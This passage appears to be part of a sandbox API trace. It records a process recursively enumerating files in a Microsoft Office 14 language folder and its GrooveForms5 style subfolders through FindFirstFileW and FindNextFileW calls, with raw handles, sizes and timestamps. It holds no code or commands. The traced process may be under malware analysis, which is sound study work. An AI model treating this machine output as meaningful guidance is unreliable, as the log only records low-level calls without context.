ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89452700, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x2f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.DLL", cAlternateFileName="")) returned 1 [0198.301] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cfb800, ftCreationTime.dwHighDateTime=0x1cac79b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70cfb800, ftLastWriteTime.dwHighDateTime=0x1cac79b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.XLA", cAlternateFileName="")) returned 1 [0198.301] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x13f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.VSL", cAlternateFileName="")) returned 1 [0198.301] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83340500, ftCreationTime.dwHighDateTime=0x1c937e6, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x83340500, ftLastWriteTime.dwHighDateTime=0x1c937e6, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLOCH.VRD", cAlternateFileName="")) returned 1 [0198.301] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOREST.CSS", cAlternateFileName="")) returned 1 [0198.301] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.CSS", cAlternateFileName="")) returned 1 [0198.301] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbba2a00, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfbba2a00, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x7fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VRD", cAlternateFileName="")) returned 1 [0198.301] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x4e570, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VSL", cAlternateFileName="")) returned 1 [0198.301] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74d63000, ftCreationTime.dwHighDateTime=0x1bbd3c6, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74d63000, ftLastWriteTime.dwHighDateTime=0x1bbd3c6, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="GR8GALRY.GRA", cAlternateFileName="")) returned 1 [0198.301] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61152c00, ftCreationTime.dwHighDateTime=0x1c6e5fa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61152c00, ftLastWriteTime.dwHighDateTime=0x1c6e5fa, nFileSizeHigh=0x0, nFileSizeLow=0x94f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.HXS", cAlternateFileName="")) returned 1 [0198.302] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXC", cAlternateFileName="GRAPH_~1.HXC")) returned 1 [0198.302] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXT", cAlternateFileName="GRAPH_~1.HXT")) returned 1 [0198.302] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_F_COL.HXK", cAlternateFileName="GRAPH_~1.HXK")) returned 1 [0198.302] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_K_COL.HXK", cAlternateFileName="GRAPH_~2.HXK")) returned 1 [0198.302] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x32d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL", cAlternateFileName="")) returned 1 [0198.302] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc82600, ftCreationTime.dwHighDateTime=0x1cac1e2, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3cc82600, ftLastWriteTime.dwHighDateTime=0x1cac1e2, nFileSizeHigh=0x0, nFileSizeLow=0x9380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.IDX_DLL", cAlternateFileName="GRINTL~1.IDX")) returned 1 [0198.302] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc82600, ftCreationTime.dwHighDateTime=0x1cac1e2, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3cc82600, ftLastWriteTime.dwHighDateTime=0x1cac1e2, nFileSizeHigh=0x0, nFileSizeLow=0x18780, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.IDX_DLL", cAlternateFileName="GRINTL~2.IDX")) returned 1 [0198.302] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3180, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRLEX.DLL", cAlternateFileName="")) returned 1 [0198.302] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd9dd600, ftCreationTime.dwHighDateTime=0x1cacb3e, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdd9dd600, ftLastWriteTime.dwHighDateTime=0x1cacb3e, nFileSizeHigh=0x0, nFileSizeLow=0xbb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove Starter Template.xsn", cAlternateFileName="GROOVE~1.XSN")) returned 1 [0198.302] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x22c410, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.HXS", cAlternateFileName="")) returned 1 [0198.302] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms5", cAlternateFileName="GROOVE~1")) returned 1 [0198.302] GetProcessHeap () returned 0x550000 [0198.302] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26010a0 [0198.303] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0198.303] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.303] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0198.303] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="BG_CAS~1.GIF")) returned 1 [0198.303] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Country.gif", cAlternateFileName="BG_COU~1.GIF")) returned 1 [0198.303] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x132a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Earthy.gif", cAlternateFileName="BG_EAR~1.GIF")) returned 1 [0198.303] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5690, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_GreenTea.gif", cAlternateFileName="BG_GRE~1.GIF")) returned 1 [0198.303] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Groove.gif", cAlternateFileName="BG_GRO~1.GIF")) returned 1 [0198.303] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_LightSpirit.gif", cAlternateFileName="BG_LIG~1.GIF")) returned 1 [0198.303] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_OliveGreen.gif", cAlternateFileName="BG_OLI~1.GIF")) returned 1 [0198.303] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1845, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Premium.gif", cAlternateFileName="BG_PRE~1.GIF")) returned 1 [0198.303] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5141, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_SlateBlue.gif", cAlternateFileName="BG_SLA~1.GIF")) returned 1 [0198.303] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x193c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_TexturedBlue.gif", cAlternateFileName="BG_TEX~1.GIF")) returned 1 [0198.304] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_VelvetRose.gif", cAlternateFileName="BG_VEL~1.GIF")) returned 1 [0198.304] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsStyles", cAlternateFileName="FORMSS~1")) returned 1 [0198.304] GetProcessHeap () returned 0x550000 [0198.304] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26110a8 [0198.304] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0198.304] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.304] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0198.304] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana", cAlternateFileName="AMERIC~1")) returned 1 [0198.304] GetProcessHeap () returned 0x550000 [0198.304] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0198.304] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0198.305] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.305] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0198.305] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0198.305] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0198.305] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0198.305] GetProcessHeap () returned 0x550000 [0198.305] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0198.305] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, 